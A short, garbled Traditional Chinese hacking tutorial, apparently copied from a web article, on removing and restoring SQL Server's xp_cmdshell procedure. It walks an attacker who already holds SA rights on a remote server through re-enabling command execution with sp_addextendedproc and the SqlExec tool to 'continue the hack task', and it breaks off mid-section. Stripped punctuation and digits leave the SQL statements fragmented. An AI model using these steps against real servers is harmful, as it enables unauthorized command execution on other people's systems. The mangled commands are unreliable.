前提需要工具
SQL Query Analyzer和SqlExec Sunx Version
第一部分 有關去掉xp_cmdshell來保護系統的分析總結
首先知道一下語句
去掉xp_cmdshell擴展過程的方法是使用如下語句
if exists (select * from dbo
sysobjects where id=object_id(N
[dbo]
[xpcmdshell]
) and OBJECTPROPERTY(id
N
IsExtendedProc
)=
)exec sp_dropextendedproc N
[dbo]
[xp_cmdshell]
添加xp_cmdshell擴展過程的方法是使用如下語句
sp_addextendedproc xp_cmdshell
@dllname=
xplog
dll
現在看看現象
我們在取得SA權限後遠程用Sqlexec執行cmd命令
出現提示SQL_ERROR
那麼很可能是去掉了xp_cmdshell
現在來看看被去掉xp_cmdshell後恢復的兩種方法
方法一
使用SQL Query Analyzer連接對方後直接寫入
挺方便sp_addextendedproc xp_cmdshell
@dllname=
xplog
dll
方法二
使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format選項裡填上%s
在CMD選項裡輸入sp_addextendedproc
xp_cmdshell
xpsql
dll
或者對Sql
情況下使用sp_addextendedproc
xp_cmdshell
xplog
dll
另外使用SqlExec Sunx Version來去除xp_cmdshell的方法和加的時候選擇條件一樣
然後輸入sp_dropextendedproc
xp_cmdshell
就可以了
第二部分 假如對方已經把xplog
dll刪除或者改了名
我們來用下面的方法繼續我們的hack任務
當出現如下現象暗示代表很有可能是xplog
dll刪除或者改了名
在查詢分析器中寫入sp_addextendedproc xp_cmdshell
@dllname=
xplog
dll
提示數據庫中已存在名為
xp_cmdshell
的對象
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22197.html